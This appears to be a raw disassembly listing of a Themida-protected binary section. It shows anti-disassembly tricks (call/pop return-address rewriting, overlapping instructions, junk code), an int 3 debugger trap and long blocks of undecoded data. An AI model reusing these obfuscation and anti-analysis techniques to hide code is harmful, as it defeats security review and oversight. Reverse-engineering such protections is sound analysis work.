; ---------------------------------------------------------------------------


loc_5BC8D0:				; CODE XREF: Themida_:005BC73Ej
		mov	bx, ds
		push	0
		push	eax
		call	sub_5BC8DE
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BC8DE	proc near		; CODE XREF: Themida_:005BC8D6p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5BC8DE	endp

; ---------------------------------------------------------------------------
		xor	al, 65h
		add	esi, 3A8FADE9h
		xor	esi, [ebp+6142B2Dh]
		test	bl, 4
		jz	loc_5BC93C
		call	dword ptr [ebp+6141211h]
		clc
		xor	esi, [ebp+6140AB5h]
		push	eax
		mov	esi, ebx
		mov	[esp], eax
		push	0
		push	esi
		call	sub_5BC923
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BC923	proc near		; CODE XREF: Themida_:005BC91Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5BC923	endp

; ---------------------------------------------------------------------------
		db 24h
; ---------------------------------------------------------------------------
		retn	0DDD3h
; ---------------------------------------------------------------------------
		db 18h
		dd 0ED122A00h
; ---------------------------------------------------------------------------


loc_5BC93C:				; CODE XREF: Themida_:005BC8FFj
		jmp	loc_5BCD50
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5BC94C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BC94C	proc near		; CODE XREF: Themida_:005BC944p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5BC94C	endp

; ---------------------------------------------------------------------------
		leave
		xor	bl, [esi-76254D89h]
		test	[ecx+1], esi
		adc	al, 6
		mov	al, 0
		push	0
		push	ebx
		call	sub_5BC975
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BC975	proc near		; CODE XREF: Themida_:005BC96Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5BC975	endp

; ---------------------------------------------------------------------------
		db 6Ch,	60h, 0Fh
		dd 587h, 0F6DEBF00h, 12E92D46h,	52000000h, 9968E5CEh, 5DE451A5h
		dd 7C37F762h, 8314DC3h,	70E661DEh, 800Fh, 71E40000h, 26458D29h
		dd 0B60F0614h, 0F99D89D8h, 0BA06142Dh, 6, 840FC38Bh, 6
		dd 1F89B58Bh, 0B58B0614h, 61411EDh, 6A04E8C1h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 8D22C352h, 66EA2E52h, 669847BEh, 0D82BE2F7h,	0B65B58Bh
		dd 50500614h, 38C0Fh, 8B660000h, 1C895FF2h, 0D5BD8B24h
		dd 0FC06141Fh, 2C05B5FFh, 870F0614h, 2,	95FFF18Bh, 6142971h
		dd 2BE5B523h, 0B00614h,	0EE9h, 0B9BCED00h, 3605FA95h, 34644448h
		dd 0E666B6BAh, 5E85270h, 46000000h, 46196DC7h, 0FE8h, 1AE79900h
		dd 0AFEE225h, 0E6C9091Ch, 190201B8h, 0BF5E5F5Fh, 7F4DF177h
		dd 8B0F71E4h, 4, 0DD66BE66h, 830F613Ch,	2C0h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 15C35545h, 0B60FEFDEh
		dd 6BAD8h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 6D30AFC3h, 894EE59Ch, 140A31BDh
		dd 8BC38B06h, 4E8C1F3h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 2EC35242h, 0B0FD345Dh, 76A83BBDh, 0E2F7661Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0A2C35545h
		dd 3BA683E6h, 9E93E3Bh,	0E3000000h, 7F957C6h, 0A6B74A13h
		dd 0BE8h, 0FFCE8C00h, 23B868CEh, 2D930AAFh, 11E8h, 31586300h
		dd 0CB702CADh, 99BC4D64h, 8F862381h, 870FD983h,	0
; ---------------------------------------------------------------------------
		pop	esi
		pop	esi
		sub	ebx, eax
		adc	esi, 133FE1AAh
		pop	eax
		xor	si, 2DDEh
		sub	ebx, eax
		js	loc_5BCD50
		push	0
		push	ebx
		call	sub_5BCB8B
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BCB8B	proc near		; CODE XREF: Themida_:005BCB83p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5BCB8B	endp

; ---------------------------------------------------------------------------
		db 8
		dd 1DF81138h, 485BA135h, 0A5ECBE73h, 0BD2B0D7Ah, 61419D1h
		dd 7B9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 13C0FD84h, 212B4D6Dh, 28BF66A7h
		dd 0C18304h, 2BE5BD8Bh,	0D93B0614h, 162860Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0A3792AC3h, 0EA68C0ECh, 0FD8D8970h, 66061418h, 6AD98Ch
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 2241F1C3h, 1F9F280Ch, 0C1F6633Fh, 0CE840F04h, 29000000h
		dd 141E3D8Dh, 1195FF06h, 0F8061412h, 55006A5Bh,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 44386589h
		dd 0E8F98B54h, 9, 9CCBC83Ah, 0B7D2562Bh, 0B58B603Eh, 6141B31h
		dd 12618529h, 5F610614h, 6AC32Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 7D573AC3h, 1CDCDDEFh
		dd 66B05C1Bh, 3D489FBEh, 834h, 4B860Fh,	6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0A82AD6C3h, 876A9EEFh, 6A19D01h, 0B50B0614h,	6140199h
		dd 53E9h, 11E96000h, 77000000h,	0BFE04DC0h, 84256C08h
		dd 4378F7Ah, 69A05F52h,	6AC08B61h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0CC62C353h
		dd 1CBA5A5Dh, 0CE999h, 3D390000h, 0EA714778h, 2D86E19Fh
		dd 0B58BF809h, 61419D1h
; ---------------------------------------------------------------------------


loc_5BCD50:				; CODE XREF: Themida_:loc_5BC93Cj
					; Themida_:005BCB7Aj
		mov	eax, ebx
		mov	ebx, eax
		and	edi, [ebp+614254Dh]
		mov	dword ptr [ebp+6140C5Dh], 152B537Dh
		add	edi, [ebp+61412E9h]
		mov	eax, eax
		pusha
		sub	dx, 9FA3h
		pusha
		mov	[ebp+6141321h],	ebx
		popa
		popa
		cmp	dword ptr [ebp+6142C05h], 7D0h
		jnz	loc_5BCDBE
		mov	esi, [ebp+6140C65h]
		inc	dword ptr [ebp+6142C05h]
		push	0
		push	ecx
		call	sub_5BCDA2
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BCDA2	proc near		; CODE XREF: Themida_:005BCD9Ap

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5BCDA2	endp

; ---------------------------------------------------------------------------
		dw 6AFBh
; ---------------------------------------------------------------------------
		xor	ah, cl
		pusha
		jnb	$+6
		popa


loc_5BCDBE:				; CODE XREF: Themida_:005BCD85j
		push	dword ptr [ebp+6142C05h]
		mov	[ebp+6141CE5h],	esi
		mov	esi, [ebp+6141339h]
		call	dword ptr [ebp+6142971h]
		mov	[ebp+6141E51h],	ecx
		nop
		xor	[ebp+61425A1h],	esi
		mov	[ebp+614259Dh],	esi
		push	0
		push	eax
		call	sub_5BCDF4
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BCDF4	proc near		; CODE XREF: Themida_:005BCDECp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5BCDF4	endp

; ---------------------------------------------------------------------------
		dd 7EC383Dh, 5CA77A6Ch,	0BD8B9B1Ch, 6141F05h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0DCC35545h, 0DD061A3h
		dd 0BD3134D7h, 6141615h, 2B858D89h, 0B5890614h,	61418E1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 4BC35747h
		dd 8589F88Bh, 61415B9h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 41C35040h, 56D4EAA4h,	0CE257EB5h, 0EDB58BB6h
		dd 6A061433h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 46D9C355h, 57006ACEh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 1D8D8937h
		dd 8B061416h, 140FF5BDh, 0F829E906h, 6AFFFFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0A73089C3h
		dd 34DFE812h, 8B34C9F7h, 142E11B5h, 61BD8906h, 8B061420h
		dd 52006AC1h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0CF8166DCh, 4EBDD7Eh, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5BCF47
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BCF47	proc near		; CODE XREF: Themida_:005BCF3Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5BCF47	endp

; ---------------------------------------------------------------------------
		lea	esp, [ecx-0B2CF47Dh]
		or	eax, 0C68166B3h
		pop	edx
		das
		sub	[ebp+61406BDh],	ebx
		push	ecx
		mov	edi, 6A5E17B1h
		pop	esi
		lea	eax, [ebp+6140791h]
		jmp	loc_5BCF86
; ---------------------------------------------------------------------------
		xchg	eax, ebx
		div	ah
		push	es
		push	esp
		nop
		jg	short loc_5BCFC7
		icebp
		clc


loc_5BCF86:				; CODE XREF: Themida_:005BCF77j
		nop
		push	ebx
		call	near ptr loc_5BCFA0+1
		jnb	short near ptr dword_5BCE04+132h
		mov	edi, 0D3B03349h
		mov	edx, eax
		mov	bh, 2Ch
		loop	loc_5BCFD9
		int	3		; Trap to Debugger
		push	778C3536h


loc_5BCFA0:				; CODE XREF: Themida_:005BCF88p
		loopne	loc_5BD008
		mov	esi, ecx
		pop	edi
		pop	esi
		push	eax
		jnz	loc_5BCFB5
		pusha
		mov	bl, cl
		mov	ax, 4706h
		popa


loc_5BCFB5:				; CODE XREF: Themida_:005BCFA7j
		nop
		add	[ebp+61411C5h],	eax
		push	0
		mov	di, ax
		sub	[ebp+61406F5h],	ebx


loc_5BCFC7:				; CODE XREF: Themida_:005BCF82j
		push	0
		push	0
		push	ebp
		call	sub_5BCFD4
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BCFD4	proc near		; CODE XREF: Themida_:005BCFCCp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp


loc_5BCFD9:				; CODE XREF: Themida_:005BCF98j
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5BCFD4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 60D3C39Ah, 890F60h, 89000000h, 140D3D85h, 0FE96106h
		dd 0C5000000h, 29079FA0h, 85F945A7h, 0B3B601E4h
; ---------------------------------------------------------------------------


loc_5BD008:				; CODE XREF: Themida_:loc_5BCFA0j
		add	eax, 858D6195h
		in	eax, 0F5h
		pop	ss
		push	es
		mov	di, dx
		add	eax, 5
		push	0
		push	ebx
		call	sub_5BD022
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD022	proc near		; CODE XREF: Themida_:005BD01Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5BD022	endp

; ---------------------------------------------------------------------------
		push	2Fh
		mov	edx, 0F38E601Fh
		sub	[ebp+61407A9h],	edi
		nop
		push	eax
		jmp	loc_5BD04C
; ---------------------------------------------------------------------------
		dw 674Dh
		dd 8DD0E181h
; ---------------------------------------------------------------------------


loc_5BD04C:				; CODE XREF: Themida_:005BD041j
		nop
		ja	loc_5BD059
		jb	$+6


loc_5BD059:				; CODE XREF: Themida_:005BD04Dj
		push	0
		push	0
		push	ebx
		call	sub_5BD066
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD066	proc near		; CODE XREF: Themida_:005BD05Ep

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5BD066	endp

; ---------------------------------------------------------------------------
		dw 8F0h
; ---------------------------------------------------------------------------
		push	edi
		sti
		pusha
		mov	ecx, [ebp+61412E9h]
		pusha
		mov	edx, 1427438Fh
		pusha
		popa
		popa
		popa
		jmp	loc_5BD0A3
; ---------------------------------------------------------------------------
		dd 819096E0h, 1AD20BF4h, 6577F722h, 4B88BB06h
		db 8Fh,	7Eh, 5Fh
; ---------------------------------------------------------------------------


loc_5BD0A3:				; CODE XREF: Themida_:005BD08Bj
		or	[ebp+6142355h],	edx
		push	0
		push	0
		push	ebx
		call	sub_5BD0B6
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD0B6	proc near		; CODE XREF: Themida_:005BD0AEp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5BD0B6	endp

; ---------------------------------------------------------------------------
		or	al, 0ADh
		pop	ecx
		lahf
		push	es
		popf
		xor	al, 0BDh
		xchg	eax, edi
		dec	dword ptr [ebx+1424D9BDh]
		push	es
		call	dword ptr [ebp+6141B19h]
		lea	ebx, [ebp+617A778h]
		push	0
		push	ecx
		call	sub_5BD0ED
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD0ED	proc near		; CODE XREF: Themida_:005BD0E5p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5BD0ED	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0FDCBA7FFh
		or	eax, 3357BF22h
		wait
		push	edx
		sub	[ebp+6141251h],	eax
		call	ebx	; _iob
		push	0
		push	eax
		call	sub_5BD11C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD11C	proc near		; CODE XREF: Themida_:005BD114p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5BD11C	endp

; ---------------------------------------------------------------------------
		dd 8B537A94h, 140FA1BDh, 0BD8B5E06h, 61401BDh, 2DED85FFh
		dd 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 4AAFE3C3h, 0E89CA98Bh, 12h, 24248CB4h, 6B6C06BCh
		dd 0E519CA6Fh, 1A88B479h, 815E82E0h, 7BE563E6h,	7A3E93Eh
		dd 0E80000h, 5D000000h,	0F5EFED81h, 81FC0617h, 142C05BDh
		dd 7D006h, 61860F00h, 1000001h,	1411E5B5h, 9D8BF806h, 6142AA5h
		dd 0CE8h, 0EBF27600h, 0B3BA5B0Bh, 0AA32F49h, 8166600Fh
		dd 890689F7h, 142649B5h, 605E6106h, 0BAA2BA66h,	5ACF8B52h
		dd 0E38161h, 81000001h,	1C47D7DEh, 0FDB0B6Dh, 9B85h, 0F88B6600h
		dd 0F39CBD83h, 0F000617h, 4F84h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 1171DC20h
		dd 0F641CF7h, 91E9FFB7h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0C3FDC352h
		dd 0BD8B0ADCh, 6140DD9h, 0F39C85C7h, 10617h, 0CE90000h
		dd 0C8000000h, 0DE41550Eh, 8C545263h, 0E9E72844h, 4Ch
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 84C35242h
		dd 0F39C85C7h, 617h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 0D223ADC3h, 0EF8D41C2h
		dd 64BF66h, 2AA59D8Dh, 9600614h, 14008D9Dh, 5BD3106h, 61061400h
		dd 0FEFF2381h, 6AFFFFh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 22FA60C3h, 0EE997h, 35CF0000h, 556FBC5Bh
		dd 0EC6D80A8h, 44828CEAh, 89DB8C66h, 14262D8Dh,	4C3F606h
		dd 26840Fh, 95FF0000h, 6141211h, 12E990h, 0E0AD0000h, 5533BCDFh
		dd 5428CBD4h, 0DD2FA3C2h, 693759Ch, 0B58B9050h,	6142495h
		dd 41CE9h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 89B21508h, 140C0DBDh, 6600B006h
		dd 0D6F2DF81h, 6A70E6h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 105954C3h, 0DB8BBFDBh, 71E436FBh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 41C35343h
		dd 858B6090h, 614183Dh,	6820F61h, 8B000000h, 14077DBDh
		dd 0D8B60F06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	3EC35545h, 424CA399h, 53CAC71Dh, 870Fh,	815F0000h
		dd 86B448DFh, 6BA66h, 85890000h, 6141F31h, 13850F60h, 0E8000000h
		dd 0Dh,	302F40ABh, 0F7AB4DEDh, 8588A506h, 0EE95BCDh, 0AE000000h
		dd 0BD9F56h, 0F8C2D319h, 136C6E34h, 0C38B6199h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 3EC35646h, 72294801h
		dd 89A588C5h, 140A59BDh, 958D8906h, 0C1061431h,	6A04E8h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 56BFCEC3h, 581BE83Eh, 0F76612F9h, 57006AE2h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0F7819603h
		dd 0D684D16h, 2BFB8B66h, 0ADB58BD8h, 5006142Bh,	6A241C89h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 958BC353h, 0FEBF0F64h, 2C05B5FFh,	6A0614h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 95FF74C3h, 6142971h,	6870Fh,	9D890000h, 6141AADh, 8D2900B0h
		dd 6141609h, 6A70E6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 0B5917DC3h, 71E4F9DFh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 4AC35747h, 0CF87878Fh
		dd 0C06E8093h, 0F613C5Ah, 1F083h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 68D8DB3Ah
		dd 0FEEDD312h, 0B60F60E3h, 218D29D8h, 0BA06140Eh, 6, 741B58Bh
		dd 0C38B0614h, 1DCDB58Bh, 0E8C10614h, 53006A04h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 7D100B82h, 0F766FFA2h, 53006AE2h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 187D96C7h
		dd 0F69DE8A0h, 9D89298Eh, 6141FE9h, 6AD82Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0C8ED8DC3h
		dd 0D5C55174h, 6A58E7h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 2BDA4BC3h, 12880FD8h, 8B000001h
		dd 140C05B5h, 7B906h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 656B52C3h, 8361FC60h
		dd 0D93B00C1h, 0DB860Fh, 0B70F0000h, 0D98C66FAh, 141B589h
		dd 0C1F60614h, 0C1840F04h, 6A000000h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 8C73C351h
		dd 0CEBE5755h, 1195FF79h, 6A061412h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0BB55C350h
		dd 8D8960F1h, 61423E1h,	0A19B589h, 0E9610614h, 12h, 0DE91846Ah
		dd 5A46ADB3h, 5A23F555h, 0A6F02F80h, 6A5BE4DAh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 8BD3C350h, 141979B5h, 66C32B06h, 3B8DCE81h, 8343Dh
		dd 21860F00h, 8B000000h, 142E45BDh, 0BE906h, 0E2CB0000h
		dd 289DD2F4h, 0B33F6F46h, 0BE93Ch, 95290000h, 6142F89h
		dd 8B66C08Bh, 8BC38BF9h, 0E5BD29D8h, 0C7061430h, 1417D985h
		dd 912DBD06h, 52006A7Ch, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 811DAC47h, 818D8B60h, 66061406h
		dd 61152BBFh, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 314764C3h, 1404699Dh, 5BD8106h
		dd 0D006142Ch, 0F000007h, 2D85h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0BF66AAE8h
		dd 85FFB0B2h, 6142C05h,	11BDB533h, 0B5FF0614h, 6142C05h
		dd 31E78A60h, 140B258Dh, 95FF6106h, 6142971h, 267DBD8Bh
		dd 6A900614h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0F976C357h, 3DFD3B10h,	0E6BE6694h
		dd 6870FE5h, 0F8000000h, 0E4E78166h, 56006A3Bh,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0DA7DB862h
		dd 0D00ABF09h, 6A251Ch,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0DE782EC3h, 0BE66E854h, 9D89B97Eh
		dd 6140A91h, 51B8FEBFh,	2EF811Ah, 60116662h, 0E2EDE081h
		dd 0D3811CB0h, 2F53DD4h, 94F78161h, 897D0524h, 14025D8Dh
		dd 2FBF6606h, 0DE816077h, 3548308Fh, 0DE816660h, 0B501269Ch
		dd 6142675h, 7E77D381h,	61611CE1h, 0D99D8960h, 8006141Dh
		dd 9CBF09D5h, 617E6D08h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0A1C35343h, 890FAACCh, 0
		dd 2B3DBD89h, 0E9F50614h, 0FFFFF866h, 89F08B66h, 1419798Dh
		dd 6AC18B06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 104DC351h, 6655C02Fh, 7DBFF38Bh
		dd 0EB7667C3h, 4, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 593E299Ch, 8166C3CAh
		dd 6A2DDFE7h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 749C353h, 8D5FFC50h, 14079185h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0FF3E57D5h, 13E990h, 7B40000h, 3E4BC964h
		dd 0E5161D8Bh, 0B194D460h, 4D6EB782h, 0B96050AEh, 4F9EF083h
		dd 90613EB5h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 14h,	8C35646h, 3121BD8Bh, 0B70F0614h, 0F5006AF1h, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0CD79ECC3h, 0B0DD3B30h, 858D565Dh, 617FFF4h,	6D7C72BFh
		dd 5C0831Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	0F4C35545h, 8950CF66h, 6A2404h,	3E852h,	5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 9392ABC3h
		dd 0C1AFA075h, 6ABB81h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 79C35141h, 6A006AF5h,	3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0D16C353h
		dd 54E0FCCDh, 95FF5ADAh, 6141B19h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 91C35646h, 8589C76Eh, 61420C1h
		dd 0A7789D8Dh, 6A0617h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 674F39C3h, 79A75DF3h, 850F06h, 81000000h
		dd 0CAA360D7h, 6AD3FF0Dh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0F371C355h,	893B3FA7h
		dd 140F7195h, 0ED85FF06h, 6A06142Dh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 4D4FC357h
		dd 6E8h, 0B6C4E800h, 891571B8h,	1411D1BDh, 0B58B5F06h
		dd 6142E0Dh, 841E9h, 0E800h, 815D0000h,	17FFFEEDh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0ACA562CBh, 0CDD457FBh, 0DE95Dh, 3DF20000h, 50FFD0A3h
		dd 0D690B5A8h, 817463E8h, 142C05BDh, 7D006h, 3E860F00h
		dd 8B000001h, 140C719Dh, 858B6006h, 614000Dh, 0FE9h, 2A5C1500h
		dd 0BB32D416h, 0FC0C9604h, 72FE9AB1h, 0E38161h,	6A000001h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 8A9FC353h, 1D05BF66h, 2D6D8D29h, 0DB0B0614h
		dd 0A7850Fh, 8B660000h,	0CE9F8h, 0A9C10000h, 4C31C9BAh
		dd 8B151308h, 0BD830DA2h, 617FDB9h, 41840F00h, 8B000000h
		dd 8FE9F2h, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 170424h, 50400000h, 0A6648EC3h, 7E886h, 90EE0000h, 251F2509h
		dd 0BD035755h, 6140191h, 0CF815F5Eh, 5B76132h, 0FDB985C7h
		dd 10617h, 0B70F0000h, 43E9F2h,	6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0B1B73BC3h
		dd 77BC0343h, 0AE98910h, 0ED000000h, 72C09650h,	2D65EC16h
		dd 0B985C7A6h, 617FDh, 81000000h, 0D7929ECEh, 719D8D14h
		dd 0E806140Ch, 0Ch, 7C95337Ch, 1363D5B9h, 0EA76FF86h, 1D9D89h
		dd 815E0614h, 0FFFEFF23h, 1D8D89FFh, 8B061423h,	140AE5BDh
		dd 0DB8C6606h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0EBC35242h, 0D19DE545h,	830FFFFEh, 6, 1CDDBD8Bh
		dd 0C7810614h, 1D31BD80h, 0F04C3F6h, 5C84h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0F28B348Bh, 121195FFh, 0B5890614h, 61410ADh,	6CBE6690h
		dd 66535079h, 905FF88Bh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 57C35646h, 0D0962028h, 8A96DA68h, 3F4E973h
		dd 5E90000h, 0C000000h,	17E6FEA6h, 0BF0F00B0h, 6A70E6F0h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0B92C356h, 532CB680h, 8166E676h, 0E4C296F7h
		dd 0D8B60F71h, 0D3CDBFF8h, 6BA5037h, 0B000000h,	1403F1B5h
		dd 6AC38B06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 3B05C356h, 0B4833C90h,	27B1BF66h
		dd 6A04E8C1h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0F57C357h, 8Eh, 14E800h, 0C6B90000h
		dd 64F59C5Dh, 1A386BC7h, 0C8BE4970h, 11B0416Fh,	8B66EBA0h
		dd 0F7665EF1h, 6830FE2h, 31000000h, 1407099Dh, 89D82B06h
